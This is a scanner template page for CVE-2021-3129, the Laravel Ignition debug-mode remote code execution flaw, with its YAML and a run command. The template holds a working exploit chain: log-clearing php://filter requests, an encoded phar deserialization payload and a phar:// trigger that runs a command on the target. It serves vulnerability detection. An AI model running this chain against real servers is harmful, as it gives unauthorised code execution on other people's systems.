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Laravel with Ignition <= v8.4.2 Debug Mode - Remote Code Execution

ID: CVE-2021-3129

Severity: critical

Author: z3bd,pdteam

Tags: cve2021,cve,laravel,rce,vulhub,kev,facade

Description

Section titled “Description”

Laravel version 8.4.2 and before with Ignition before 2.5.2 allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel before 8.4.2.

YAML Source

Section titled “YAML Source”
id: CVE-2021-3129


info:
  name: Laravel with Ignition <= v8.4.2 Debug Mode - Remote Code Execution
  author: z3bd,pdteam
  severity: critical
  description: Laravel version 8.4.2 and before with Ignition before 2.5.2 allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel before 8.4.2.
  impact: |
    Successful exploitation of this vulnerability can lead to remote code execution, potentially allowing an attacker to take control of the affected system.
  remediation: |
    Upgrade Laravel to version 8.4.3 or higher to mitigate this vulnerability.
  reference:
    - https://www.ambionics.io/blog/laravel-debug-rce
    - https://github.com/vulhub/vulhub/tree/master/laravel/CVE-2021-3129
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3129
    - https://github.com/facade/ignition/pull/334
    - https://github.com/d4n-sec/d4n-sec.github.io
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-3129
    epss-score: 0.97461
    epss-percentile: 0.99957
    cpe: cpe:2.3:a:facade:ignition:*:*:*:*:*:laravel:*:*
  metadata:
    max-request: 6
    vendor: facade
    product: ignition
    framework: laravel
  tags: cve2021,cve,laravel,rce,vulhub,kev,facade


http:
  - raw:
      - |
        POST /_ignition/execute-solution HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Content-Type: application/json


        {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}
      - |
        POST /_ignition/execute-solution HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Content-Type: application/json


        {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}
      - |
        POST /_ignition/execute-solution HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Content-Type: application/json


        {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "AA"}}
      - |
        POST /_ignition/execute-solution HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Content-Type: application/json


        {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=4C=00=41=00=51=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=7A=00=41=00=41=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=45=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=56=00=6D=00=46=00=73=00=61=00=57=00=52=00=68=00=64=00=47=00=6C=00=76=00=62=00=6C=00=78=00=57=00=59=00=57=00=78=00=70=00=5A=00=47=00=46=00=30=00=62=00=33=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=6D=00=56=00=34=00=64=00=47=00=56=00=75=00=63=00=32=00=6C=00=76=00=62=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=54=00=70=00=37=00=63=00=7A=00=6F=00=77=00=4F=00=69=00=49=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=6A=00=6F=00=69=00=63=00=33=00=6C=00=7A=00=64=00=47=00=56=00=74=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=33=00=4D=00=36=00=4D=00=6A=00=6F=00=69=00=61=00=57=00=51=00=69=00=4F=00=33=00=30=00=46=00=41=00=41=00=41=00=41=00=5A=00=48=00=56=00=74=00=62=00=58=00=6B=00=45=00=41=00=41=00=41=00=41=00=58=00=73=00=7A=00=6F=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=58=00=73=00=7A=00=6F=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=7A=00=64=00=47=00=56=00=7A=00=64=00=48=00=52=00=6C=00=63=00=33=00=51=00=63=00=4A=00=39=00=59=00=36=00=5A=00=6B=00=50=00=61=00=39=00=61=00=45=00=49=00=51=00=49=00=45=00=47=00=30=00=6B=00=4A=00=2B=00=39=00=4A=00=50=00=6B=00=4C=00=67=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a"}}
      - |
        POST /_ignition/execute-solution HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Content-Type: application/json


        {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}
      - |
        POST /_ignition/execute-solution HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Content-Type: application/json


        {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "phar://../storage/logs/laravel.log/test.txt"}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "uid="
          - "gid="
          - "groups="
          - "Illuminate"
        condition: and


      - type: status
        status:
          - 500


    extractors:
      - type: regex
        regex:
          - "(u|g)id=.*"
# digest: 490a004630440220061e1cccf77831c543906f6cd87272aba03f3bc9d9978646f1f32e9bc009697402200ad6ad4858c57e1d8ae24c45ec24ed9d980bf9eac4df9e25a4de70882bf64f83:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-3129.yaml"

View on Github